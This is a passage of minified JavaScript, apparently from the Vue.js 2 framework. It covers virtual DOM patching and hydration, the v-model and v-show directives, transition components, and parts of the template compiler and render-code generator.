o,l,c,d=0,h=0,p=i.length-1,f=i[0],g=i[p],_=r.length-1,v=r[0],y=r[_],b=!a;for(x(r);d<=p&&h<=_;)t(f)?f=i[++d]:t(g)?g=i[--p]:Sn(f,v)?(C(f,v,s,r,h),f=i[++d],v=r[++h]):Sn(g,y)?(C(g,y,s,r,_),g=i[--p],y=r[--_]):Sn(f,y)?(C(f,y,s,r,_),b&&u.insertBefore(e,f.elm,u.nextSibling(g.elm)),f=i[++d],y=r[--_]):Sn(g,v)?(C(g,v,s,r,h),b&&u.insertBefore(e,g.elm,f.elm),g=i[--p],v=r[++h]):(t(o)&&(o=Mn(i,d,p)),t(l=n(v.key)?o[v.key]:L(v,i,d,p))?m(v,s,e,f.elm,!1,r,h):Sn(c=i[l],v)?(C(c,v,s,r,h),i[l]=void 0,b&&u.insertBefore(e,c.elm,f.elm)):m(v,s,e,f.elm,!1,r,h),v=r[++h]);d>p?T(e,t(r[_+1])?null:r[_+1].elm,r,h,_,s):h>_&&S(0,i,d,p)}(d,f,g,s,c):n(g)?(x(g),n(e.text)&&u.setTextContent(d,""),T(d,null,g,0,g.length-1,s)):n(f)?S(0,f,0,f.length-1):n(e.text)&&u.setTextContent(d,""):e.text!==i.text&&u.setTextContent(d,i.text),n(p)&&n(h=p.hook)&&n(h=h.postpatch)&&h(e,i)}}}function D(e,t,i){if(r(i)&&n(e.parent))e.parent.data.pendingInsert=t;else for(var s=0;s<t.length;++s)t[s].data.hook.insert(t[s])}var E=!1,P=f("attrs,class,staticClass,staticStyle,key");function A(e,t,i,s){var a,o=t.tag,l=t.data,u=t.children;if(s=s||l&&l.pre,t.elm=e,r(t.isComment)&&n(t.asyncFactory))return t.isAsyncPlaceholder=!0,!0;if(!function(e,t,i){return n(t.tag)?0===t.tag.indexOf("vue-component")||!h(t,i)&&t.tag.toLowerCase()===(e.tagName&&e.tagName.toLowerCase()):e.nodeType===(t.isComment?8:3)}(e,t,s))return!1;if(n(l)&&(n(a=l.hook)&&n(a=a.init)&&a(t,!0),n(a=t.componentInstance)))return g(t,i),!0;if(n(o)){if(n(u))if(e.hasChildNodes())if(n(a=l)&&n(a=a.domProps)&&n(a=a.innerHTML)){if(a!==e.innerHTML)return"undefined"==typeof console||E||(E=!0,console.warn("Parent: ",e),console.warn("server innerHTML: ",a),console.warn("client innerHTML: ",e.innerHTML)),!1}else{for(var c=!0,d=e.firstChild,p=0;p<u.length;p++){if(!d||!A(d,u[p],i,s)){c=!1;break}d=d.nextSibling}if(!c||d)return"undefined"==typeof console||E||(E=!0,console.warn("Parent: ",e),console.warn("Mismatching childNodes vs. VNodes: ",e.childNodes,u)),!1}else v(t,u,i);if(n(l)){var f=!1;for(var m in l)if(!P(m)){f=!0,b(t,i);break}!f&&l.class&&St(l.class)}}else e.data!==t.text&&(e.data=t.text);return!0}return function(e,i,s,a){if(!t(i)){var l=!1,c=[];if(t(e))l=!0,m(i,c);else{var d=n(e.nodeType);if(!d&&Sn(e,i))C(e,i,c,null,null,a);else{if(d){if(1===e.nodeType&&e.hasAttribute($)&&(e.removeAttribute($),s=!0),r(s)){if(A(e,i,c))return D(i,c,!0),e;le("The client-side rendered virtual DOM tree is not matching server-rendered content. This is likely caused by incorrect HTML markup, for example nesting block-level elements inside <p>, or missing <tbody>. Bailing hydration and performing full client-side render.")}T=e,e=new ye(u.tagName(T).toLowerCase(),{},[],void 0,T)}var h=e.elm,p=u.parentNode(h);if(m(i,c,h._leaveCb?null:p,u.nextSibling(h)),n(i.parent))for(var f=i.parent,g=y(i);f;){for(var _=0;_<o.destroy.length;++_)o.destroy[_](f);if(f.elm=i.elm,g){for(var v=0;v<o.create.length;++v)o.create[v](Tn,f);var b=f.data.hook.insert;if(b.merged)for(var w=1;w<b.fns.length;w++)b.fns[w]()}else wn(f);f=f.parent}n(p)?S(0,[e],0,0):n(e.tag)&&k(e)}}return D(i,c,l),i.elm}var T;n(e)&&k(e)}}({nodeOps:yn,modules:[$n,zn,vr,wr,Ar,z?{create:ss,activate:ss,remove:function(e,t){!0!==e.data.show?ts(e,t):t()}}:{}].concat(An)});K&&document.addEventListener("selectionchange",(function(){var e=document.activeElement;e&&e.vmodel&&fs(e,"input")}));var os={inserted:function(e,t,i,n){"select"===i.tag?(n.elm&&!n.elm._vOptions?Et(i,"postpatch",(function(){os.componentUpdated(e,t,i)})):ls(e,t,i.context),e._vOptions=[].map.call(e.options,ds)):("textarea"===i.tag||_n(e.type))&&(e._vModifiers=t.modifiers,t.modifiers.lazy||(e.addEventListener("compositionstart",hs),e.addEventListener("compositionend",ps),e.addEventListener("change",ps),K&&(e.vmodel=!0)))},componentUpdated:function(e,t,i){if("select"===i.tag){ls(e,t,i.context);var n=e._vOptions,r=e._vOptions=[].map.call(e.options,ds);r.some((function(e,t){return!I(e,n[t])}))&&(e.multiple?t.value.some((function(e){return cs(e,r)})):t.value!==t.oldValue&&cs(t.value,r))&&fs(e,"change")}}};function ls(e,t,i){us(e,t,i),(G||X)&&setTimeout((function(){us(e,t,i)}),0)}function us(e,t,i){var n=t.value,r=e.multiple;if(!r||Array.isArray(n)){for(var s,a,o=0,l=e.options.length;o<l;o++)if(a=e.options[o],r)s=O(n,ds(a))>-1,a.selected!==s&&(a.selected=s);else if(I(ds(a),n))return void(e.selectedIndex!==o&&(e.selectedIndex=o));r||(e.selectedIndex=-1)}else le('<select multiple v-model="'+t.expression+'"> expects an Array value for its binding, but got '+Object.prototype.toString.call(n).slice(8,-1),i)}function cs(e,t){return t.every((function(t){return!I(t,e)}))}function ds(e){return"_value"in e?e._value:e.value}function hs(e){e.target.composing=!0}function ps(e){e.target.composing&&(e.target.composing=!1,fs(e.target,"input"))}function fs(e,t){var i=document.createEvent("HTMLEvents");i.initEvent(t,!0,!0),e.dispatchEvent(i)}function ms(e){return!e.componentInstance||e.data&&e.data.transition?e:ms(e.componentInstance._vnode)}var gs={model:os,show:{bind:function(e,t,i){var n=t.value,r=(i=ms(i)).data&&i.data.transition,s=e.__vOriginalDisplay="none"===e.style.display?"":e.style.display;n&&r?(i.data.show=!0,es(i,(function(){e.style.display=s}))):e.style.display=n?s:"none"},update:function(e,t,i){var n=t.value;!n!=!t.oldValue&&((i=ms(i)).data&&i.data.transition?(i.data.show=!0,n?es(i,(function(){e.style.display=e.__vOriginalDisplay})):ts(i,(function(){e.style.display="none"}))):e.style.display=n?e.__vOriginalDisplay:"none")},unbind:function(e,t,i,n,r){r||(e.style.display=e.__vOriginalDisplay)}}},_s={name:String,appear:Boolean,css:Boolean,mode:String,type:String,enterClass:String,leaveClass:String,enterToClass:String,leaveToClass:String,enterActiveClass:String,leaveActiveClass:String,appearClass:String,appearActiveClass:String,appearToClass:String,duration:[Number,String,Object]};function vs(e){var t=e&&e.componentOptions;return t&&t.Ctor.options.abstract?vs(jt(t.children)):e}function ys(e){var t={},i=e.$options;for(var n in i.propsData)t[n]=e[n];var r=i._parentListeners;for(var s in r)t[T(s)]=r[s];return t}function bs(e,t){if(/\d-keep-alive$/.test(t.tag))return e("keep-alive",{props:t.componentOptions.propsData})}var ws=function(e){return e.tag||$t(e)},Ts=function(e){return"show"===e.name},ks={name:"transition",props:_s,abstract:!0,render:function(e){var t=this,i=this.$slots.default;if(i&&(i=i.filter(ws)).length){i.length>1&&le("<transition> can only be used on a single element. Use <transition-group> for lists.",this.$parent);var n=this.mode;n&&"in-out"!==n&&"out-in"!==n&&le("invalid <transition> mode: "+n,this.$parent);var r=i[0];if(function(e){for(;e=e.parent;)if(e.data.transition)return!0}(this.$vnode))return r;var a=vs(r);if(!a)return r;if(this._leaving)return bs(e,r);var o="__transition-"+this._uid+"-";a.key=null==a.key?a.isComment?o+"comment":o+a.tag:s(a.key)?0===String(a.key).indexOf(o)?a.key:o+a.key:a.key;var l=(a.data||(a.data={})).transition=ys(this),u=this._vnode,c=vs(u);if(a.data.directives&&a.data.directives.some(Ts)&&(a.data.show=!0),c&&c.data&&!function(e,t){return t.key===e.key&&t.tag===e.tag}(a,c)&&!$t(c)&&(!c.componentInstance||!c.componentInstance._vnode.isComment)){var d=c.data.transition=C({},l);if("out-in"===n)return this._leaving=!0,Et(d,"afterLeave",(function(){t._leaving=!1,t.$forceUpdate()})),bs(e,r);if("in-out"===n){if($t(a))return u;var h,p=function(){h()};Et(l,"afterEnter",p),Et(l,"enterCancelled",p),Et(d,"delayLeave",(function(e){h=e}))}}return r}}},Ss=C({tag:String,moveClass:String},_s);function Ms(e){e.elm._moveCb&&e.elm._moveCb(),e.elm._enterCb&&e.elm._enterCb()}function xs(e){e.data.newPos=e.elm.getBoundingClientRect()}function Ls(e){var t=e.data.pos,i=e.data.newPos,n=t.left-i.left,r=t.top-i.top;if(n||r){e.data.moved=!0;var s=e.elm.style;s.transform=s.WebkitTransform="translate("+n+"px,"+r+"px)",s.transitionDuration="0s"}}delete Ss.mode;var Cs={Transition:ks,TransitionGroup:{props:Ss,beforeMount:function(){var e=this,t=this._update;this._update=function(i,n){var r=Vt(e);e.__patch__(e._vnode,e.kept,!1,!0),e._vnode=e.kept,r(),t.call(e,i,n)}},render:function(e){for(var t=this.tag||this.$vnode.data.tag||"span",i=Object.create(null),n=this.prevChildren=this.children,r=this.$slots.default||[],s=this.children=[],a=ys(this),o=0;o<r.length;o++){var l=r[o];if(l.tag)if(null!=l.key&&0!==String(l.key).indexOf("__vlist"))s.push(l),i[l.key]=l,(l.data||(l.data={})).transition=a;else{var u=l.componentOptions,c=u?u.Ctor.options.name||u.tag||"":l.tag;le("<transition-group> children must be keyed: <"+c+">")}}if(n){for(var d=[],h=[],p=0;p<n.length;p++){var f=n[p];f.data.transition=a,f.data.pos=f.elm.getBoundingClientRect(),i[f.key]?d.push(f):h.push(f)}this.kept=e(t,null,d),this.removed=h}return e(t,null,s)},updated:function(){var e=this.prevChildren,t=this.moveClass||(this.name||"v")+"-move";e.length&&this.hasMove(e[0].elm,t)&&(e.forEach(Ms),e.forEach(xs),e.forEach(Ls),this._reflow=document.body.offsetHeight,e.forEach((function(e){if(e.data.moved){var i=e.elm,n=i.style;Vr(i,t),n.transform=n.WebkitTransform=n.transitionDuration="",i.addEventListener(Br,i._moveCb=function e(n){n&&n.target!==i||n&&!/transform$/.test(n.propertyName)||(i.removeEventListener(Br,e),i._moveCb=null,Jr(i,t))})}})))},methods:{hasMove:function(e,t){if(!Nr)return!1;if(this._hasMove)return this._hasMove;var i=e.cloneNode();e._transitionClasses&&e._transitionClasses.forEach((function(e){Yr(i,e)})),Or(i,t),i.style.display="none",this.$el.appendChild(i);var n=Xr(i);return this.$el.removeChild(i),this._hasMove=n.hasTransform}}}};Ui.config.mustUseProp=Qi,Ui.config.isReservedTag=fn,Ui.config.isReservedAttr=Xi,Ui.config.getTagNamespace=mn,Ui.config.isUnknownElement=function(e){if(!z)return!0;if(fn(e))return!1;if(e=e.toLowerCase(),null!=gn[e])return gn[e];var t=document.createElement(e);return e.indexOf("-")>-1?gn[e]=t.constructor===window.HTMLUnknownElement||t.constructor===window.HTMLElement:gn[e]=/HTMLUnknownElement/.test(t.toString())},C(Ui.options.directives,gs),C(Ui.options.components,Cs),Ui.prototype.__patch__=z?as:E,Ui.prototype.$mount=function(e,t){return function(e,t,i){var n;return e.$el=t,e.$options.render||(e.$options.render=we,e.$options.template&&"#"!==e.$options.template.charAt(0)||e.$options.el||t?le("You are using the runtime-only build of Vue where the template compiler is not available. Either pre-compile the templates into render functions, or use the compiler-included build.",e):le("Failed to mount component: template or render function not defined.",e)),Xt(e,"beforeMount"),n=R.performance&&ot?function(){var t=e._name,n=e._uid,r="vue-perf-start:"+n,s="vue-perf-end:"+n;ot(r);var a=e._render();ot(s),lt("vue "+t+" render",r,s),ot(r),e._update(a,i),ot(s),lt("vue "+t+" patch",r,s)}:function(){e._update(e._render(),i)},new li(e,n,E,{before:function(){e._isMounted&&!e._isDestroyed&&Xt(e,"beforeUpdate")}},!0),i=!1,null==e.$vnode&&(e._isMounted=!0,Xt(e,"mounted")),e}(this,e=e&&z?vn(e):void 0,t)},z&&setTimeout((function(){R.devtools&&(re?re.emit("init",Ui):Q&&console[console.info?"info":"log"]("Download the Vue Devtools extension for a better development experience:\nhttps://github.com/vuejs/vue-devtools")),!1!==R.productionTip&&"undefined"!=typeof console&&console[console.info?"info":"log"]("You are running Vue in development mode.\nMake sure to turn on production mode when deploying for production.\nSee more tips at https://vuejs.org/guide/deployment.html")}),0);var Ds=/\{\{((?:.|\r?\n)+?)\}\}/g,Es=/[-.*+?^${}()|[\]\/\\]/g,Ps=b((function(e){var t=e[0].replace(Es,"\\$&"),i=e[1].replace(Es,"\\$&");return new RegExp(t+"((?:.|\\n)+?)"+i,"g")}));function As(e,t){var i=t?Ps(t):Ds;if(i.test(e)){for(var n,r,s,a=[],o=[],l=i.lastIndex=0;n=i.exec(e);){(r=n.index)>l&&(o.push(s=e.slice(l,r)),a.push(JSON.stringify(s)));var u=Vn(n[1].trim());a.push("_s("+u+")"),o.push({"@binding":u}),l=r+n[0].length}return l<e.length&&(o.push(s=e.slice(l)),a.push(JSON.stringify(s))),{expression:a.join("+"),tokens:o}}}var Os,Is={staticKeys:["staticClass"],transformNode:function(e,t){var i=t.warn||Gn,n=nr(e,"class");n&&As(n,t.delimiters)&&i('class="'+n+'": Interpolation inside attributes has been removed. Use v-bind or the colon shorthand instead. For example, instead of <div class="{{ val }}">, use <div :class="val">.'),n&&(e.staticClass=JSON.stringify(n));var r=ir(e,"class",!1);r&&(e.classBinding=r)},genData:function(e){var t="";return e.staticClass&&(t+="staticClass:"+e.staticClass+","),e.classBinding&&(t+="class:"+e.classBinding+","),t}},Ys={staticKeys:["staticStyle"],transformNode:function(e,t){var i=t.warn||Gn,n=nr(e,"style");n&&(As(n,t.delimiters)&&i('style="'+n+'": Interpolation inside attributes has been removed. Use v-bind or the colon shorthand instead. For example, instead of <div style="{{ val }}">, use <div :style="val">.'),e.staticStyle=JSON.stringify(Tr(n)));var r=ir(e,"style",!1);r&&(e.styleBinding=r)},genData:function(e){var t="";return e.staticStyle&&(t+="staticStyle:"+e.staticStyle+","),e.styleBinding&&(t+="style:("+e.styleBinding+"),"),t}},js=f("area,base,br,col,embed,frame,hr,img,input,isindex,keygen,link,meta,param,source,track,wbr"),Ns=f("colgroup,dd,dt,li,options,p,td,tfoot,th,thead,tr,source"),Rs=f("address,article,aside,base,blockquote,body,caption,col,colgroup,dd,details,dialog,div,dl,dt,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,head,header,hgroup,hr,html,legend,li,menuitem,meta,optgroup,option,param,rp,rt,source,style,summary,tbody,td,tfoot,th,thead,title,tr,track"),Hs=/^\s*([^\s"'<>\/=]+)(?:\s*(=)\s*(?:"([^"]*)"+|'([^']*)'+|([^\s"'=<>`]+)))?/,Fs="[a-zA-Z_][\\w\\-\\.]*",Bs="((?:"+Fs+"\\:)?"+Fs+")",Us=new RegExp("^<"+Bs),Ws=/^\s*(\/?)>/,zs=new RegExp("^<\\/"+Bs+"[^>]*>"),qs=/^<!DOCTYPE [^>]+>/i,Vs=/^<!\--/,Js=/^<!\[/,Gs=f("script,style,textarea",!0),Ks={},Xs={"&lt;":"<","&gt;":">","&quot;":'"',"&amp;":"&","&#10;":"\n","&#9;":"\t"},Zs=/&(?:lt|gt|quot|amp);/g,Qs=/&(?:lt|gt|quot|amp|#10|#9);/g,ea=f("pre,textarea",!0),ta=function(e,t){return e&&ea(e)&&"\n"===t[0]};function ia(e,t){var i=t?Qs:Zs;return e.replace(i,(function(e){return Xs[e]}))}var na,ra,sa,aa,oa,la,ua,ca,da=/^@|^v-on:/,ha=/^v-|^@|^:/,pa=/([\s\S]*?)\s+(?:in|of)\s+([\s\S]*)/,fa=/,([^,\}\]]*)(?:,([^,\}\]]*))?$/,ma=/^\(|\)$/g,ga=/:(.*)$/,_a=/^:|^v-bind:/,va=/\.[^.]+/g,ya=b((function(e){return(Os=Os||document.createElement("div")).innerHTML=e,Os.textContent}));function ba(e,t,i){return{type:1,tag:e,attrsList:t,attrsMap:xa(t),parent:i,children:[]}}function Ta(e,t){var i,n;(function(e){var t=ir(e,"key");if(t){if("template"===e.tag&&na("<template> cannot be keyed. Place the key on real elements instead."),e.for){var i=e.iterator2||e.iterator1,n=e.parent;i&&i===t&&n&&"transition-group"===n.tag&&na("Do not use v-for index as key on <transition-group> children, this is the same as not using keys.")}e.key=t}})(e),e.plain=!e.key&&!e.attrsList.length,function(e){var t=ir(e,"ref");t&&(e.ref=t,e.refInFor=function(e){for(var t=e;t;){if(void 0!==t.for)return!0;t=t.parent}return!1}(e))}(e),function(e){if("slot"===e.tag)e.slotName=ir(e,"name"),e.key&&na("`key` does not work on <slot> because slots are abstract outlets and can possibly expand into multiple elements. Use the key on a wrapping element instead.");else{var t;"template"===e.tag?((t=nr(e,"scope"))&&na('the "scope" attribute for scoped slots have been deprecated and replaced by "slot-scope" since 2.5. The new "slot-scope" attribute can also be used on plain elements in addition to <template> to denote scoped slots.',!0),e.slotScope=t||nr(e,"slot-scope")):(t=nr(e,"slot-scope"))&&(e.attrsMap["v-for"]&&na("Ambiguous combined usage of slot-scope and v-for on <"+e.tag+"> (v-for takes higher priority). Use a wrapper <template> for the scoped slot to make it clearer.",!0),e.slotScope=t);var i=ir(e,"slot");i&&(e.slotTarget='""'===i?'"default"':i,"template"===e.tag||e.slotScope||Zn(e,"slot",i))}}(e),(n=ir(i=e,"is"))&&(i.component=n),null!=nr(i,"inline-template")&&(i.inlineTemplate=!0);for(var r=0;r<sa.length;r++)e=sa[r](e,t)||e;!function(e){var t,i,n,r,s,a,o,l=e.attrsList;for(t=0,i=l.length;t<i;t++)if(n=r=l[t].name,s=l[t].value,ha.test(n))if(e.hasBindings=!0,(a=Ma(n))&&(n=n.replace(va,"")),_a.test(n))n=n.replace(_a,""),o=!1,0===(s=Vn(s)).trim().length&&na('The value for a v-bind expression cannot be empty. Found in "v-bind:'+n+'"'),a&&(a.prop&&(o=!0,"innerHtml"===(n=T(n))&&(n="innerHTML")),a.camel&&(n=T(n)),a.sync&&tr(e,"update:"+T(n),sr(s,"$event"))),o||!e.component&&ua(e.tag,e.attrsMap.type,n)?Xn(e,n,s):Zn(e,n,s);else if(da.test(n))tr(e,n=n.replace(da,""),s,a,!1,na);else{var u=(n=n.replace(ha,"")).match(ga),c=u&&u[1];c&&(n=n.slice(0,-(c.length+1))),er(e,n,r,s,c,a),"model"===n&&Da(e,s)}else As(s,ra)&&na(n+'="'+s+'": Interpolation inside attributes has been removed. Use v-bind or the colon shorthand instead. For example, instead of <div id="{{ val }}">, use <div :id="val">.'),Zn(e,n,JSON.stringify(s)),!e.component&&"muted"===n&&ua(e.tag,e.attrsMap.type,n)&&Xn(e,n,"true")}(e)}function ka(e){var t;if(t=nr(e,"v-for")){var i=function(e){var t=e.match(pa);if(t){var i={};i.for=t[2].trim();var n=t[1].trim().replace(ma,""),r=n.match(fa);return r?(i.alias=n.replace(fa,"").trim(),i.iterator1=r[1].trim(),r[2]&&(i.iterator2=r[2].trim())):i.alias=n,i}}(t);i?C(e,i):na("Invalid v-for expression: "+t)}}function Sa(e,t){e.ifConditions||(e.ifConditions=[]),e.ifConditions.push(t)}function Ma(e){var t=e.match(va);if(t){var i={};return t.forEach((function(e){i[e.slice(1)]=!0})),i}}function xa(e){for(var t={},i=0,n=e.length;i<n;i++)!t[e[i].name]||G||X||na("duplicate attribute: "+e[i].name),t[e[i].name]=e[i].value;return t}var La=/^xmlns:NS\d+/,Ca=/^NS\d+:/;function Da(e,t){for(var i=e;i;)i.for&&i.alias===t&&na("<"+e.tag+' v-model="'+t+'">: You are binding v-model directly to a v-for iteration alias. This will not be able to modify the v-for source array because writing to the alias is like modifying a function local variable. Consider using an array of objects and use v-model on an object property instead.'),i=i.parent}function Ea(e){return ba(e.tag,e.attrsList.slice(),e.parent)}var Aa,Ia,Pa=[Is,Ys,{preTransformNode:function(e,t){if("input"===e.tag){var i,n=e.attrsMap;if(!n["v-model"])return;if((n[":type"]||n["v-bind:type"])&&(i=ir(e,"type")),n.type||i||!n["v-bind"]||(i="("+n["v-bind"]+").type"),i){var r=nr(e,"v-if",!0),s=r?"&&("+r+")":"",a=null!=nr(e,"v-else",!0),o=nr(e,"v-else-if",!0),l=Ea(e);ka(l),Qn(l,"type","checkbox"),Ta(l,t),l.processed=!0,l.if="("+i+")==='checkbox'"+s,Sa(l,{exp:l.if,block:l});var u=Ea(e);nr(u,"v-for",!0),Qn(u,"type","radio"),Ta(u,t),Sa(l,{exp:"("+i+")==='radio'"+s,block:u});var c=Ea(e);return nr(c,"v-for",!0),Qn(c,":type",i),Ta(c,t),Sa(l,{exp:r,block:c}),a?l.else=!0:o&&(l.elseif=o),l}}}}],Oa={expectHTML:!0,modules:Pa,directives:{model:function(e,t,i){Wn=i;var n=t.value,r=t.modifiers,s=e.tag,a=e.attrsMap.type;if("input"===s&&"file"===a&&Wn("<"+e.tag+' v-model="'+n+'" type="file">:\nFile inputs are read only. Use a v-on:change listener instead.'),e.component)return rr(e,n,r),!1;if("select"===s)!function(e,t,i){var n='var $$selectedVal = Array.prototype.filter.call($event.target.options,function(o){return o.selected}).map(function(o){var val = "_value" in o ? o._value : o.value;return '+(i&&i.number?"_n(val)":"val")+"});";tr(e,"change",n=n+" "+sr(t,"$event.target.multiple ? $$selectedVal : $$selectedVal[0]"),null,!0)}(e,n,r);else if("input"===s&&"checkbox"===a)!function(e,t,i){var n=i&&i.number,r=ir(e,"value")||"null",s=ir(e,"true-value")||"true",a=ir(e,"false-value")||"false";Xn(e,"checked","Array.isArray("+t+")?_i("+t+","+r+")>-1"+("true"===s?":("+t+")":":_q("+t+","+s+")")),tr(e,"change","var $$a="+t+",$$el=$event.target,$$c=$$el.checked?("+s+"):("+a+");if(Array.isArray($$a)){var $$v="+(n?"_n("+r+")":r)+",$$i=_i($$a,$$v);if($$el.checked){$$i<0&&("+sr(t,"$$a.concat([$$v])")+")}else{$$i>-1&&("+sr(t,"$$a.slice(0,$$i).concat($$a.slice($$i+1))")+")}}else{"+sr(t,"$$c")+"}",null,!0)}(e,n,r);else if("input"===s&&"radio"===a)!function(e,t,i){var n=i&&i.number,r=ir(e,"value")||"null";Xn(e,"checked","_q("+t+","+(r=n?"_n("+r+")":r)+")"),tr(e,"change",sr(t,r),null,!0)}(e,n,r);else if("input"===s||"textarea"===s)!function(e,t,i){var n=e.attrsMap.type,r=e.attrsMap["v-bind:value"]||e.attrsMap[":value"],s=e.attrsMap["v-bind:type"]||e.attrsMap[":type"];if(r&&!s){var a=e.attrsMap["v-bind:value"]?"v-bind:value":":value";Wn(a+'="'+r+'" conflicts with v-model on the same element because the latter already expands to a value binding internally')}var o=i||{},l=o.lazy,u=o.number,c=o.trim,d=!l&&"range"!==n,h=l?"change":"range"===n?hr:"input",p="$event.target.value";c&&(p="$event.target.value.trim()"),u&&(p="_n("+p+")");var f=sr(t,p);d&&(f="if($event.target.composing)return;"+f),Xn(e,"value","("+t+")"),tr(e,h,f,null,!0),(c||u)&&tr(e,"blur","$forceUpdate()")}(e,n,r);else{if(!R.isReservedTag(s))return rr(e,n,r),!1;Wn("<"+e.tag+' v-model="'+n+"\">: v-model is not supported on this element type. If you are working with contenteditable, it's recommended to wrap a library dedicated for that purpose inside a custom component.")}return!0},text:function(e,t){t.value&&Xn(e,"textContent","_s("+t.value+")")},html:function(e,t){t.value&&Xn(e,"innerHTML","_s("+t.value+")")}},isPreTag:function(e){return"pre"===e},isUnaryTag:js,mustUseProp:Qi,canBeLeftOpenTag:Ns,isReservedTag:fn,getTagNamespace:mn,staticKeys:function(e){return e.reduce((function(e,t){return e.concat(t.staticKeys||[])}),[]).join(",")}(Pa)},Ya=b((function(e){return f("type,tag,attrsList,attrsMap,plain,parent,children,attrs"+(e?","+e:""))}));function $a(e,t){e&&(Aa=Ya(t.staticKeys||""),Ia=t.isReservedTag||P,ja(e),Na(e,!1))}function ja(e){if(e.static=function(e){return 2!==e.type&&(3===e.type||!(!e.pre&&(e.hasBindings||e.if||e.for||m(e.tag)||!Ia(e.tag)||function(e){for(;e.parent;){if("template"!==(e=e.parent).tag)return!1;if(e.for)return!0}return!1}(e)||!Object.keys(e).every(Aa))))}(e),1===e.type){if(!Ia(e.tag)&&"slot"!==e.tag&&null==e.attrsMap["inline-template"])return;for(var t=0,i=e.children.length;t<i;t++){var n=e.children[t];ja(n),n.static||(e.static=!1)}if(e.ifConditions)for(var r=1,s=e.ifConditions.length;r<s;r++){var a=e.ifConditions[r].block;ja(a),a.static||(e.static=!1)}}}function Na(e,t){if(1===e.type){if((e.static||e.once)&&(e.staticInFor=t),e.static&&e.children.length&&(1!==e.children.length||3!==e.children[0].type))return void(e.staticRoot=!0);if(e.staticRoot=!1,e.children)for(var i=0,n=e.children.length;i<n;i++)Na(e.children[i],t||!!e.for);if(e.ifConditions)for(var r=1,s=e.ifConditions.length;r<s;r++)Na(e.ifConditions[r].block,t)}}var Ra=/^([\w$_]+|\([^)]*?\))\s*=>|^function\s*\(/,Ha=/^[A-Za-z_$][\w$]*(?:\.[A-Za-z_$][\w$]*|\['[^']*?']|\["[^"]*?"]|\[\d+]|\[[A-Za-z_$][\w$]*])*$/,Fa={esc:27,tab:9,enter:13,space:32,up:38,left:37,right:39,down:40,delete:[8,46]},Ba={esc:["Esc","Escape"],tab:"Tab",enter:"Enter",space:[" ","Spacebar"],up:["Up","ArrowUp"],left:["Left","ArrowLeft"],right:["Right","ArrowRight"],down:["Down","ArrowDown"],delete:["Backspace","Delete","Del"]},Ua=function(e){return"if("+e+")return null;"},Wa={stop:"$event.stopPropagation();",prevent:"$event.preventDefault();",self:Ua("$event.target !== $event.currentTarget"),ctrl:Ua("!$event.ctrlKey"),shift:Ua("!$event.shiftKey"),alt:Ua("!$event.altKey"),meta:Ua("!$event.metaKey"),left:Ua("'button' in $event && $event.button !== 0"),middle:Ua("'button' in $event && $event.button !== 1"),right:Ua("'button' in $event && $event.button !== 2")};function za(e,t){var i=t?"nativeOn:{":"on:{";for(var n in e)i+='"'+n+'":'+qa(n,e[n])+",";return i.slice(0,-1)+"}"}function qa(e,t){if(!t)return"function(){}";if(Array.isArray(t))return"["+t.map((function(t){return qa(e,t)})).join(",")+"]";var i=Ha.test(t.value),n=Ra.test(t.value);if(t.modifiers){var r="",s="",a=[];for(var o in t.modifiers)if(Wa[o])s+=Wa[o],Fa[o]&&a.push(o);else if("exact"===o){var l=t.modifiers;s+=Ua(["ctrl","shift","alt","meta"].filter((function(e){return!l[e]})).map((function(e){return"$event."+e+"Key"})).join("||"))}else a.push(o);return a.length&&(r+=function(e){return"if(!('button' in $event)&&"+e.map(Va).join("&&")+")return null;"}(a)),s&&(r+=s),"function($event){"+r+(i?"return "+t.value+"($event)":n?"return ("+t.value+")($event)":t.value)+"}"}return i||n?t.value:"function($event){"+t.value+"}"}function Va(e){var t=parseInt(e,10);if(t)return"$event.keyCode!=="+t;var i=Fa[e],n=Ba[e];return"_k($event.keyCode,"+JSON.stringify(e)+","+JSON.stringify(i)+",$event.key,"+JSON.stringify(n)+")"}var Ja={on:function(e,t){t.modifiers&&le("v-on without argument does not support modifiers."),e.wrapListeners=function(e){return"_g("+e+","+t.value+")"}},bind:function(e,t){e.wrapData=function(i){return"_b("+i+",'"+e.tag+"',"+t.value+","+(t.modifiers&&t.modifiers.prop?"true":"false")+(t.modifiers&&t.modifiers.sync?",true":"")+")"}},cloak:E},Ga=function(e){this.options=e,this.warn=e.warn||Gn,this.transforms=Kn(e.modules,"transformCode"),this.dataGenFns=Kn(e.modules,"genData"),this.directives=C(C({},Ja),e.directives);var t=e.isReservedTag||P;this.maybeComponent=function(e){return!(t(e.tag)&&!e.component)},this.onceId=0,this.staticRenderFns=[],this.pre=!1};function Ka(e,t){var i=new Ga(t);return{render:"with(this){return "+(e?Xa(e,i):'_c("div")')+"}",staticRenderFns:i.staticRenderFns}}function Xa(e,t){if(e.parent&&(e.pre=e.pre||e.parent.pre),e.staticRoot&&!e.staticProcessed)return Za(e,t);if(e.once&&!e.onceProcessed)return Qa(e,t);if(e.for&&!e.forProcessed)return function(e,t,i,n){var r=e.for,s=e.alias,a=e.iterator1?","+e.iterator1:"",o=e.iterator2?","+e.iterator2:"";return t.maybeComponent(e)&&"slot"!==e.tag&&"template"!==e.tag&&!e.key&&t.warn("<"+e.tag+' v-for="'+s+" in "+r+'">: component lists rendered with v-for should have explicit keys. See https://vuejs.org/guide/list.html#key for more info.',!0),e.forProcessed=!0,"_l(("+r+"),function("+s+a+o+"){return "+Xa(e,t)+"})"}(e,t);if(e.if&&!e.ifProcessed)return eo(e,t);if("template"!==e.tag||e.slotTarget||t.pre){if("slot"===e.tag)return function(e,t){var i=e.slotName||'"default"',n=ro(e,t),r="_t("+i+(n?","+n:""),s=e.attrs&&"{"+e.attrs.map((function(e){return T(e.name)+":"+e.value})).join(",")+"}",a=e.attrsMap["v-bind"];return!s&&!a||n||(r+=",null"),s&&(r+=","+s),a&&(r+=(s?"":",null")+","+a),r+")"}(e,t);var i;if(e.component)i=function(e,t,i){var n=t.inlineTemplate?null:ro(t,i,!0);return"_c("+e+","+io(t,i)+(n?","+n:"")+")"}(e.component,e,t);else{var n;(!e.plain||e.pre&&t.maybeComponent(e))&&(n=io(e,t));var r=e.inlineTemplate?null:ro(e,t,!0);i="_c('"+e.tag+"'"+(n?","+n:"")+(r?","+r:"")+")"}for(var s=0;s<t.transforms.length;s++)i=t.transforms[s](e,i);return i}return ro(e,t)||"void 0"}function Za(e,t){e.staticProcessed=!0;var i=t.pre;return e.pre&&(t.pre=e.pre),t.staticRenderFns.push("with(this){return 